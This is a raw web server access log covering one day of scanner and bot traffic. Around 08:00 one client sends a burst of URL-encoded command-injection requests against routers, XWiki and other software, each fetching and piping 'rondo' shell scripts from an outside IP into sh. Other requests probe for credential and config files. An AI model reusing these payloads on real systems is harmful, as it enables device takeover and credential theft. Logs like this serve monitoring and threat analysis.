176.65.148.40 - - [05/Dec/2025:00:21:57 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 18.212.240.67 - - [05/Dec/2025:00:40:24 +0100] "GET / HTTP/1.1" 200 1895 45.38.44.221 - - [05/Dec/2025:01:30:07 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 5.133.102.226 - - [05/Dec/2025:01:31:42 +0100] "GET /login HTTP/1.1" 404 723 176.65.148.251 - - [05/Dec/2025:01:59:54 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 45.38.44.221 - - [05/Dec/2025:02:12:52 +0100] "GET /login HTTP/1.1" 404 723 213.209.143.82 - - [05/Dec/2025:02:20:57 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 192.155.90.118 - - [05/Dec/2025:03:03:08 +0100] "-" 400 1930 192.155.90.118 - - [05/Dec/2025:03:03:08 +0100] "-" 400 1930 66.175.213.4 - - [05/Dec/2025:03:15:25 +0100] "GET / HTTP/1.1" 200 1895 176.65.134.3 - - [05/Dec/2025:04:45:34 +0100] "CONNECT 193.149.189.126:7227 HTTP/1.1" 400 804 176.65.148.40 - - [05/Dec/2025:04:48:26 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 121.91.235.186 - - [05/Dec/2025:05:48:12 +0100] "GET /ip HTTP/1.1" 404 720 205.210.31.106 - - [05/Dec/2025:06:02:23 +0100] "GET / HTTP/1.0" 200 1895 192.159.99.95 - - [05/Dec/2025:06:18:05 +0100] "POST /tmUnblock.cgi HTTP/1.1" 404 731 87.251.67.85 - - [05/Dec/2025:06:27:03 +0100] "GET / HTTP/1.1" 200 1895 192.159.99.95 - - [05/Dec/2025:06:29:19 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 198.235.24.239 - - [05/Dec/2025:06:29:24 +0100] "-" 400 1930 198.235.24.239 - - [05/Dec/2025:06:29:24 +0100] "-" 400 1930 192.159.99.95 - - [05/Dec/2025:06:40:30 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 151.235.186.172 - - [05/Dec/2025:07:02:04 +0100] "GET / HTTP/1.1" 200 1895 176.65.148.40 - - [05/Dec/2025:07:04:54 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 65.49.1.222 - - [05/Dec/2025:07:26:19 +0100] "GET / HTTP/1.1" 200 1895 65.49.1.229 - - [05/Dec/2025:07:26:49 +0100] "GET /favicon.ico HTTP/1.1" 404 729 65.49.1.223 - - [05/Dec/2025:07:27:06 +0100] "GET /?format=json HTTP/1.1" 200 1895 65.49.1.224 - - [05/Dec/2025:07:27:11 +0100] "CONNECT www.shadowserver.org:443 HTTP/1.1" 400 804 65.49.1.222 - - [05/Dec/2025:07:27:18 +0100] "GET /geoserver/web/ HTTP/1.1" 404 740 79.124.40.86 - - [05/Dec/2025:07:59:27 +0100] "HEAD / HTTP/1.0" 200 - 192.159.99.95 - - [05/Dec/2025:08:00:17 +0100] "POST /tmUnblock.cgi HTTP/1.1" 404 731 192.159.99.95 - - [05/Dec/2025:08:00:17 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 192.159.99.95 - - [05/Dec/2025:08:00:17 +0100] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60busybox%20wget%20-qO-%20http%3A%2F%2F70.184.13.47%2Frondo.zqq.sh%7Csh%60 HTTP/1.1" 404 756 192.159.99.95 - - [05/Dec/2025:08:00:17 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F70.184.13.47%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1 HTTP/1.1" 404 727 192.159.99.95 - - [05/Dec/2025:08:00:17 +0100] "GET null HTTP/1.1" 400 1994 192.159.99.95 - - [05/Dec/2025:08:00:18 +0100] "POST /apply_sec.cgi HTTP/1.1" 404 731 192.159.99.95 - - [05/Dec/2025:08:00:18 +0100] "POST /goform/mp HTTP/1.1" 404 731 192.159.99.95 - - [05/Dec/2025:08:00:18 +0100] "GET /goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F70.184.13.47%2Frondo.uzz.sh%7Csh%26echo%20 HTTP/1.0" 404 749 192.159.99.95 - - [05/Dec/2025:08:00:18 +0100] "POST /goform/setPingInfo HTTP/1.1" 404 740 192.159.99.95 - - [05/Dec/2025:08:00:18 +0100] "POST /cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4= HTTP/1.1" 404 751 192.159.99.95 - - [05/Dec/2025:08:00:18 +0100] "POST /diagnostic.php HTTP/1.1" 404 732 192.159.99.95 - - [05/Dec/2025:08:00:18 +0100] "GET / HTTP/1.1" 200 1895 192.159.99.95 - - [05/Dec/2025:08:00:18 +0100] "GET /HNAP1/ HTTP/1.1" 404 728 192.159.99.95 - - [05/Dec/2025:08:00:18 +0100] "POST /goform/SystemCommand HTTP/1.1" 404 742 192.159.99.95 - - [05/Dec/2025:08:00:18 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 792 192.159.99.95 - - [05/Dec/2025:08:00:18 +0100] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 404 750 192.159.99.95 - - [05/Dec/2025:08:00:19 +0100] "GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%5B%27sh%27%2C%20%27-c%27%2C%20%27%28wget%20-qO-%20http%3A%2F%2F70.184.13.47%2Frondo.sdu.sh%7C%7Cbusybox%20wget%20-qO-%20http%3A%2F%2F70.184.13.47%2Frondo.sdu.sh%7C%7Ccurl%20-s%20http%3A%2F%2F70.184.13.47%2Frondo.sdu.sh%29%7Csh%27%5D.execute%28%29.text%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D HTTP/1.1" 404 763 192.159.99.95 - - [05/Dec/2025:08:00:19 +0100] "GET /?doAs=%60%28wget%20-qO-%20http%3A%2F%2F70.184.13.47%2Frondo.pms.sh%7C%7Cbusybox%20wget%20-qO-%20http%3A%2F%2F70.184.13.47%2Frondo.pms.sh%7C%7Ccurl%20-s%20http%3A%2F%2F70.184.13.47%2Frondo.pms.sh%29%7Csh%60 HTTP/1.1" 200 1895 192.159.99.95 - - [05/Dec/2025:08:00:19 +0100] "GET /cgi-bin/jarrewrite.sh HTTP/1.1" 404 743 192.159.99.95 - - [05/Dec/2025:08:00:19 +0100] "POST /goform/formJsonAjaxReq HTTP/1.1" 404 744 183.88.240.39 - - [05/Dec/2025:08:48:22 +0100] "GET / HTTP/1.0" 200 1895 31.57.166.121 - - [05/Dec/2025:09:04:37 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 66.132.153.113 - - [05/Dec/2025:09:05:03 +0100] "-" 400 1930 66.132.153.113 - - [05/Dec/2025:09:05:03 +0100] "GET / HTTP/1.1" 200 1895 66.132.153.113 - - [05/Dec/2025:09:05:04 +0100] "GET /favicon.ico HTTP/1.1" 404 729 66.132.153.113 - - [05/Dec/2025:09:05:08 +0100] "-" 400 1930 66.132.153.113 - - [05/Dec/2025:09:05:09 +0100] "GET /robots.txt HTTP/1.1" 404 728 176.65.148.40 - - [05/Dec/2025:09:53:26 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 80.94.95.75 - - [05/Dec/2025:10:14:06 +0100] "-" 400 1930 176.65.148.40 - - [05/Dec/2025:11:31:37 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 121.91.235.186 - - [05/Dec/2025:11:37:18 +0100] "GET /ip HTTP/1.1" 404 720 20.84.153.199 - - [05/Dec/2025:11:44:24 +0100] "GET / HTTP/1.1" 200 1895 20.84.153.199 - - [05/Dec/2025:11:44:25 +0100] "-" 400 1930 103.77.241.135 - - [05/Dec/2025:12:05:50 +0100] "POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1" 404 756 171.213.136.85 - - [05/Dec/2025:12:35:02 +0100] "GET / HTTP/1.1" 200 1895 185.180.140.11 - - [05/Dec/2025:12:55:29 +0100] "GET / HTTP/1.1" 200 1895 139.99.35.34 - - [05/Dec/2025:13:01:56 +0100] "-" 400 1930 139.99.35.42 - - [05/Dec/2025:13:02:04 +0100] "GET / HTTP/1.1" 200 1895 139.99.35.43 - - [05/Dec/2025:13:11:34 +0100] "GET /favicon.ico HTTP/1.1" 404 729 64.62.156.152 - - [05/Dec/2025:13:27:00 +0100] "-" 400 1930 31.57.166.121 - - [05/Dec/2025:13:42:48 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 213.209.143.82 - - [05/Dec/2025:13:46:33 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 213.209.143.82 - - [05/Dec/2025:13:53:40 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 31.57.166.121 - - [05/Dec/2025:13:56:20 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 176.65.148.251 - - [05/Dec/2025:14:08:31 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 121.91.235.186 - - [05/Dec/2025:14:21:31 +0100] "GET /ip HTTP/1.1" 404 720 45.38.44.221 - - [05/Dec/2025:14:24:51 +0100] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 213.209.143.82 - - [05/Dec/2025:14:41:13 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 31.57.166.121 - - [05/Dec/2025:14:42:55 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 178.22.24.60 - - [05/Dec/2025:14:48:04 +0100] "-" 400 1930 178.22.24.60 - - [05/Dec/2025:14:48:04 +0100] "GET / HTTP/1.1" 200 1895 204.76.203.8 - - [05/Dec/2025:14:48:50 +0100] "CONNECT google.com:443 HTTP/1.1" 400 804 45.156.87.74 - - [05/Dec/2025:14:52:34 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 45.38.44.221 - - [05/Dec/2025:15:06:55 +0100] "GET /login HTTP/1.1" 404 723 204.76.203.8 - - [05/Dec/2025:15:22:34 +0100] "CONNECT google.com:443 HTTP/1.1" 400 804 14.231.223.236 - - [05/Dec/2025:16:52:07 +0100] "GET /docs/ HTTP/1.1" 404 727 14.164.195.100 - - [05/Dec/2025:16:52:08 +0100] "GET /examples/ HTTP/1.1" 404 731 123.17.138.203 - - [05/Dec/2025:16:52:10 +0100] "GET /host-manager/html HTTP/1.1" 401 2044 185.106.31.146 - - [05/Dec/2025:16:52:14 +0100] "GET /manager/html HTTP/1.1" 401 2499 45.156.87.74 - - [05/Dec/2025:17:10:00 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 198.235.24.93 - - [05/Dec/2025:17:39:52 +0100] "GET / HTTP/1.1" 200 1895 213.209.143.82 - - [05/Dec/2025:17:56:38 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 213.209.143.82 - - [05/Dec/2025:18:12:49 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 45.156.87.74 - - [05/Dec/2025:18:12:56 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 213.209.143.82 - - [05/Dec/2025:18:53:32 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 167.94.146.50 - - [05/Dec/2025:19:08:11 +0100] "GET / HTTP/1.1" 200 1895 167.94.146.50 - - [05/Dec/2025:19:08:14 +0100] "-" 400 1930 167.94.146.50 - - [05/Dec/2025:19:08:14 +0100] "GET / HTTP/1.1" 200 1895 167.94.146.50 - - [05/Dec/2025:19:08:14 +0100] "GET /favicon.ico HTTP/1.1" 404 729 167.94.146.50 - - [05/Dec/2025:19:08:18 +0100] "-" 400 1930 167.94.146.50 - - [05/Dec/2025:19:08:18 +0100] "GET /wiki HTTP/1.1" 404 722 130.131.161.238 - - [05/Dec/2025:19:16:45 +0100] "-" 400 1930 213.209.143.82 - - [05/Dec/2025:19:35:49 +0100] "CONNECT ipinfo.io:443 HTTP/1.1" 400 804 80.66.75.64 - - [05/Dec/2025:19:49:40 +0100] "-" 400 1930 87.251.78.46 - - [05/Dec/2025:20:42:53 +0100] "GET /phpinfo HTTP/1.1" 404 725 87.251.78.46 - - [05/Dec/2025:20:42:54 +0100] "GET /phpinfo.php HTTP/1.1" 404 729 87.251.78.46 - - [05/Dec/2025:20:42:57 +0100] "GET /test.php HTTP/1.1" 404 726 87.251.78.46 - - [05/Dec/2025:20:43:00 +0100] "GET /_profiler/phpinfo HTTP/1.1" 404 739 87.251.78.46 - - [05/Dec/2025:20:43:03 +0100] "GET /info.php HTTP/1.1" 404 726 87.251.78.46 - - [05/Dec/2025:20:43:03 +0100] "GET /php.php HTTP/1.1" 404 725 87.251.78.46 - - [05/Dec/2025:20:43:05 +0100] "GET /php_info.php HTTP/1.1" 404 730 87.251.78.46 - - [05/Dec/2025:20:43:08 +0100] "GET /i.php HTTP/1.1" 404 723 87.251.78.46 - - [05/Dec/2025:20:43:10 +0100] "GET /pi.php HTTP/1.1" 404 724 87.251.78.46 - - [05/Dec/2025:20:43:10 +0100] "GET /config.phpinfo HTTP/1.1" 404 732 185.91.127.97 - - [05/Dec/2025:20:43:12 +0100] "CONNECT httpbin.org:443 HTTP/1.1" 400 804 87.251.78.46 - - [05/Dec/2025:20:43:13 +0100] "GET /admin/phpinfo.php HTTP/1.1" 404 739 87.251.78.46 - - [05/Dec/2025:20:43:15 +0100] "GET /.aws/credentials HTTP/1.1" 404 738 87.251.78.46 - - [05/Dec/2025:20:43:18 +0100] "GET /pinfo.php HTTP/1.1" 404 727 87.251.78.46 - - [05/Dec/2025:20:43:27 +0100] "GET /phpinfo2.php HTTP/1.1" 404 730 87.251.78.46 - - [05/Dec/2025:20:43:33 +0100] "GET /php_version.php HTTP/1.1" 404 733 87.251.78.46 - - [05/Dec/2025:20:43:40 +0100] "GET /version.php HTTP/1.1" 404 729 87.251.78.46 - - [05/Dec/2025:20:43:46 +0100] "GET /server-info.php HTTP/1.1" 404 733 176.65.150.63 - - [05/Dec/2025:20:43:48 +0100] "GET /index.asp HTTP/1.1" 404 727 87.251.78.46 - - [05/Dec/2025:20:43:53 +0100] "GET /env.php HTTP/1.1" 404 725 87.251.78.46 - - [05/Dec/2025:20:44:00 +0100] "GET /init.php HTTP/1.1" 404 726 64.227.101.27 - - [05/Dec/2025:20:46:00 +0100] "GET /.env HTTP/1.1" 404 722 64.227.101.27 - - [05/Dec/2025:20:46:00 +0100] "GET /.git/config HTTP/1.1" 404 733 45.156.128.43 - - [05/Dec/2025:20:47:18 +0100] "GET / HTTP/1.1" 200 1895 87.251.75.163 - - [05/Dec/2025:21:09:19 +0100] "-" 400 1930 134.199.146.163 - - [05/Dec/2025:21:34:14 +0100] "-" 400 1930 134.199.146.163 - - [05/Dec/2025:21:34:15 +0100] "-" 400 1930 134.199.146.163 - - [05/Dec/2025:21:34:16 +0100] "GET / HTTP/1.1" 200 1895 134.199.146.163 - - [05/Dec/2025:21:34:16 +0100] "GET /download/powershell/ HTTP/1.1" 404 746 134.199.146.163 - - [05/Dec/2025:21:34:17 +0100] "GET /get.php HTTP/1.1" 404 725 45.9.168.192 - - [05/Dec/2025:21:44:37 +0100] "-" 400 1930 186.42.113.6 - - [05/Dec/2025:22:53:11 +0100] "GET / HTTP/1.1" 200 1895 176.62.80.151 - - [05/Dec/2025:22:54:18 +0100] "GET / HTTP/1.1" 200 1895 185.180.140.102 - - [05/Dec/2025:23:02:15 +0100] "GET / HTTP/1.1" 200 1895 44.220.188.8 - - [05/Dec/2025:23:20:07 +0100] "GET / HTTP/1.1" 200 1895